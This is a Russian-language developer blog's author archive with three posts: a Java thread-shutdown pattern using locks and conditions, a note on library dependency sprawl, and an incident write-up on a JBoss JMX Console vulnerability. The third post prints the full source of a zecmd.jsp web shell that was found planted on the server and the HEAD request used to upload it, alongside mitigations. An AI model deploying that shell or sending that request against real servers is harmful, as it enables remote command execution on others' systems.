Author Archives: elwood

Запуск и остановка фоновых потоков в Java

Written by elwood

Потокобезопасный вариант остановки потока по требованию. Паттерн, который мы повсеместно применяли в .net. В java-мире аналогичное поведение можно более просто реализовать с помощью механизма interruptions, но этот способ более гибок, поскольку во-первых не зависит от тонкостей обработки InterruptException (а это довольно хитрая штука), а во-вторых, более расширяем – например, по сигналу в condition object можно не только завершать выполнение потока, но и передавать какие-то события внутрь потока – например, некоторое действие нужно выполнять либо по таймеру, либо по сигналу. И мы внутри функции потока всегда будем делать нужные операции сразу же по мере необходимости. В отличие от традиционного механизма wait-notify (которое не дает инфы о причине завершения ожидания – таймауте или внешнем сигнале), в этом API мы всегда увидим, когда прошел таймаут. Мы не всегда сможем определить, был ли вызван signal() из-за одного пограничного случая (если и эта информация нужна, то можно её получить просто добавив флаг), но факт прохождения таймаута мы будем знать достоверно.

    private ReentrantLock reentrantLock = new ReentrantLock(  );
    private Condition condition= reentrantLock.newCondition();
    private volatile boolean running = false;
    private static final long PERIOD_MILLISECONDS = 5000;
 
    private Thread calculationThread = new Thread( new Runnable() {
        public void run() {
            log.info( "Calculation thread started." );
            for (;;) {
 
                // todo : здесь собственно идёт полезная работа потока
 
                reentrantLock.lock();
                try {
                    boolean awaitResult = false;
 
                    // в этом месте мы проверяем running для ситуации, когда stopThread()
                    // был вызван в момент, когда этот поток не находился в ожидании, и вызов
                    // signal() не привел ни к чему
                    if ( !running )
                        break;
                    try {
                        // При вызове await() занятая нами блокировка будет освобождена
                        // Но при возврате управления метод await() снова должен будет взять блокировку
                        // Интересный механизм, позволяющий нам точно знать, в какой последовательности
                        // будут выполнены инструкции после вызова signal() и собственно пробуждение потока
                        awaitResult = condition.await(PERIOD_MILLISECONDS, TimeUnit.MILLISECONDS );
                    } catch ( InterruptedException e ) {
                        log.error( "Calculation thread interrupted", e );
                        break;
                    }
                    // running проверять обязательно, поскольку awaitResult может быть false
                    // даже в случае вызова signal (если к этому времени подошел таймаут) - проверено
                    // Это и есть тот самый пограничный случай
                    if (awaitResult || !running )
                        break;
                } finally {
                    reentrantLock.unlock();
                }
            }
            log.info( "Calculation thread stopped." );
        }
    } );
 
    private void startCalculationThread() {
        Assert.assertTrue( !running );
        log.info( "Starting calculation thread.." );
        running = true;
        calculationThread.start();
    }
 
    private void stopCalculationThread() {
        Assert.assertTrue( running );
        log.info( "Stopping calculation thread.." );
        reentrantLock.lock();
        try {
            running = false;
            // Посылаем сигнал в наш condition object
            // Если в это время поток ждет на вызове await(), то он возобновит выполнение
            // НО только после того, как await() получит блокировку
            // Таким образом, сначала будет выполнен весь код после вызова signal() - 
            // в нашем случае это запись в лог сообщения, и только потом await() получит блокировку и вернёт управление
            condition.signal();
            log.info("Calculation thread signalled to stop." );
        } finally {
            reentrantLock.unlock();
        }
        // ожидаем завершения потока
        calculationThread.join();
    }

Проблемы с зависимостями в библиотеках

Written by elwood

Все мы пишем библиотеки и библиотечки. Туда складывается реюзабельный код, который сам по себе использует самые разные зависимости, начиная со стандартных библиотек и библиотек логирования и заканчивая навороченными зависимостями, реализующими редко используемую функциональность. В результате “модуль” обрастает кучей зависимостей, и просто так взять и использовать его в разных проектах становится не так уж и удобно. Приходится разделять такой “модуль” на несколько, каждый из которых зависит от своих библиотек. А тут еще и проблемы с версионностью (в одном проекте поменяли – в другом тоже нужно обновлять). И пусть даже с этой проблемой можно справиться (с использованием DVCS, поддерживающих subrepositories), но в любом случае в конечном итоге всё это становится сложно поддерживаемым.

В общем хотелось бы иметь инструментарий, позволяющий делать такие “модули” так, чтобы при подключении кусочков кода из этих модулей проект понимал, какие зависимости необходимо подключить в соответствии с тем, какие куски кода реально используются в проекте. То есть код в этом случае больше рассматривается не как единица сборки, а как набор текстов с метаинформацией, что какому кусочку нужно.

Уязвимость JMX Console в JBoss AS 4.x и 5.x

Written by elwood

Придя на работу, обнаружил в логах странное :

java.io.IOException: CreateProcess error=2, ?? ??????? ????? ????????? ????
at java.lang.ProcessImpl.create(Native Method)
at java.lang.ProcessImpl.<init>(ProcessImpl.java:81)
at java.lang.ProcessImpl.start(ProcessImpl.java:30)

Чуть ниже был обнаружен и источник этого сообщения – zecmd.jsp. Файл этот был быстро найден в директории /default/deploy/management/zecmd.war и содержал примитивный веб-шелл :

<%@ page import="java.util.*,java.io.*" %>
<% %>
<HTML>
<BODY>
<FORM METHOD="GET" NAME="comments" ACTION="">
  <INPUT TYPE="text" NAME="comment">
  <INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre> <% if (request.getParameter("comment") != null) {
    out.println("Command: " + request.getParameter("comment") + "<BR>");
    Process p = Runtime.getRuntime().exec(request.getParameter("comment"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while (disr != null) {
        out.println(disr);
        disr = dis.readLine();
    }
} %>


Собственно, мне повезло, что мой сервер приложений был запущен из-под Windows, поскольку шелл, судя по всему, работал только на никсовых платформах.

В сети быстро нашлась информация о том, что это за шелл и какую уязвимость хакер мог эксплуатировать для того, чтобы его залить:

http://scoperchiatore.wordpress.com/2011/12/16/jboss-worm-it-is-real-and-there-are-3-new-form-spreading-in-jboss-worm/
https://community.jboss.org/blogs/mjc/2011/10/20/statement-regarding-security-threat-to-jboss-application-server
http://xorl.wordpress.com/2012/02/14/hack-analysis-cve-2010-0738/

Проблема была в дефолтной конфигурации web.xml консоли JMX. Она требовала авторизации для запросов GET и POST, а все остальные запросы пропускались без требования логина и пароля. И умники нашли способ через метод HEAD заливать произвольный JSP на сервер простым запросом

HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%32c%4...

Проверил этот запрос с помощью Fiddler – и действительно, в /server/default/deploy/management/ появился тот самый варник zecmd.war.

Сценарий хакерских атак такой. Сначала через дырку в JMX они заливают вебшелл (их доступно несколько, и они все работают на никсовых системах). После этого через шелл заливаются остальные зловреды (скрипты, сканеры портов итд). После этого машина сама становится рассадником заразы, сканируя некоторые диапазоны IP-адресов и пробуя также найти уязвимые сервера.

Методы борьбы (начиная от самых простых к самым надежным):

1) Добавить запрет на метод HEAD в web.xml
2) Убрать JMX console и другие админки
3) Настроить JMX console и админки таким образом, чтобы они были доступны только с локального IP-адреса.

Свежие версии JBoss идут по третьему пути, и по умолчанию на админку можно зайти только с локалхоста.